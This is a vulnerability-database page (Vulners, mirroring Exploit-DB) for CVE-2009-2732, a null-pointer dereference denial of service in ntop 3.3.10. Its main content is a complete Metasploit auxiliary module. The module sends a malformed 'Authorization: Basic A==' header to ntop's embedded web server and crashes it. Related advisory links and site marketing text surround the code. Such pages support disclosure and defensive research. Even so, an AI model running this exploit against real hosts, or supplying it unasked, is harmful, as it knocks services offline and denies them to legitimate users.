Lucene search
K

ntop 3.3.10 - HTTP Basic Authentication Null Pointer Dereference Denial of Service

🗓️ 18 Aug 2009 00:00:00Reported by Brad AntoniewiczType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

NULL-pointer dereference in ntop 3.3.10 HTTP Basic Authentication leading to Denial of Servic

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-2732
18 Aug 200900:00
circl
CVE
CVE-2009-2732
20 Aug 200922:00
cve
Cvelist
CVE-2009-2732
20 Aug 200922:00
cvelist
EUVD
EUVD-2009-2723
7 Oct 202500:30
euvd
exploitpack
ntop 3.3.10 - HTTP Basic Authentication Null Pointer Dereference Denial of Service
18 Aug 200900:00
exploitpack
NVD
CVE-2009-2732
21 Aug 200911:02
nvd
OpenVAS
ntop HTTP Basic Authentication NULL Pointer Dereference Denial Of Service Vulnerability
23 Aug 200900:00
openvas
Packet Storm
ntop 3.3.10 Denial Of Service
18 Aug 200900:00
packetstorm
Prion
Null pointer dereference
21 Aug 200911:02
prion
securityvulns
ntop <= 3.3.10 Basic Authentication Null Pointer Denial of Service
18 Aug 200900:00
securityvulns
Rows per page
source: https://www.securityfocus.com/bid/36074/info

The 'ntop' tool is prone to a denial-of-service vulnerability because of a NULL-pointer dereference that occurs when crafted HTTP Basic Authentication credentials are received by the embedded webserver.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects ntop 3.3.10; other versions may also be affected. 

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

        include Msf::Exploit::Remote::HttpClient
        include Msf::Auxiliary::Dos

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'NTOP <= 3.3.10 Basic Authorization DoS',
                        'Description'    => %q{
                                A denial of service condition can be reached by specifying an invalid value for the Authorization
                                HTTP header. When ntop recieves this, it attempts to base64 decode the value then split it based on
                                a colon. When no colon exists in the decoded string the username is left at its default NULL value.
                                During the authentication process the length of the username is computed via strlen(), which results
                                in a segmentation fault when it processes the null value.
                        },
                        'Author'         => 'Brad Antoniewicz <[email protected]>',
                        'License'        => MSF_LICENSE,
                        'Version'        => '1',
                        'References'     => [
                                [ 'BID', 'None'],
                                [ 'CVE', 'CVE-2009-2732']

                        ],
                        'DisclosureDate' => 'Aug 08 2009'))
                        register_options( [Opt::RPORT(3000),], self.class )

        end

        def run
                begin
                        o = {
                                'uri' => '/configNtop.html',
                                'headers' => {
                                        'Authorization' => 'Basic A=='
                                }
                        }

                        c = connect(o)
                        c.send_request(c.request_raw(o))

                        print_status("Request sent to #{rhost}:#{rport}")
                rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
                        print_status("Couldn't connect to #{rhost}:#{rport}")
                rescue ::Timeout::Error, ::Errno::EPIPE
                end
        end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2009 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 25
EPSS0.05589
34